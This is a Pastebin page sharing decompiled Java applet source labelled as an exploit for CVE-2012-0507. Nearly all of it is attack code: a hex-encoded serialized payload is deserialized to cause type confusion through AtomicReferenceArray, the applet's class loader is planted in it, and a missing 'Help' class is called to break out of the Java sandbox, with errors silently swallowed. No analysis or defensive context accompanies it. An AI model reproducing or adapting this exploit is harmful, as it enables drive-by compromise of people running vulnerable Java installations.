SHARE
TWEET

Exploit:Java/CVE-2012-0507.A

a guest Mar 27th, 2012 1,238 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Exploit:Java/CVE-2012-0507.A
  2.  
  3. package a;
  4.  
  5. import java.applet.Applet;
  6. import java.io.ByteArrayInputStream;
  7. import java.io.ObjectInputStream;
  8. import java.util.concurrent.atomic.AtomicReferenceArray;
  9.  
  10. public class Test extends Applet
  11. {
  12.   public static byte[] StringToBytes(String paramString)
  13.   {
  14.     byte[] arrayOfByte = new byte[paramString.length() / 2];
  15.  
  16.     for (int i = 0; i < paramString.length(); i += 2) {
  17.       arrayOfByte[(i / 2)] = (byte)((Character.digit(paramString.charAt(i), 16) << 4) + Character.digit(paramString.charAt(i + 1), 16));
  18.     }
  19.     return arrayOfByte;
  20.   }
  21.  
  22.   ObjectInputStream make_ois(StringBuilder paramStringBuilder) throws Exception
  23.   {
  24.     return new ObjectInputStream(new ByteArrayInputStream(StringToBytes(paramStringBuilder.toString())));
  25.   }
  26.  
  27.   public void init()
  28.   {
  29.     try
  30.     {
  31.       int i = 0;
  32.       String[] arrayOfString = { "AC", "ED0005757", "200135B4C6A6176612E6C616E672", "E4F626A6", "563743B90CE589F1073296C02000078700000", "0002757200095B4C612E48656C703BFE2", "C941188B6E5FF0", "2000078700000000170737200306A6176612E75746", "96C2E636F6E63757272656E742E61746F6D69632E417", "46F6D69635265666572656E63654172726179A9D2DE", "A1BE65600C0200015B000561727261797400135B4C6A617", "6612F6C616E672F4F626A6563743B78707100", "7E0003" };
  33.       StringBuilder localStringBuilder = new StringBuilder();
  34.       for (int j = 0; j < arrayOfString.length; j++)
  35.       {
  36.         localStringBuilder.append(arrayOfString[j]);
  37.       }
  38.       ObjectInputStream localObjectInputStream = make_ois(localStringBuilder);
  39.       Object[] arrayOfObject = (Object[])(Object[])localObjectInputStream.readObject();
  40.       Help[] arrayOfHelp = (Help[])(Help[])arrayOfObject[0];
  41.       AtomicReferenceArray localAtomicReferenceArray = (AtomicReferenceArray)arrayOfObject[1];
  42.       ClassLoader localClassLoader = getClass().getClassLoader();
  43.       localAtomicReferenceArray.set(0, localClassLoader);
  44.       arrayOfHelp[0]; Help.doWork(arrayOfHelp[0]);
  45.     }
  46.     catch (Exception localException)
  47.     {
  48.     }
  49.   }
  50. }
RAW Paste Data
Top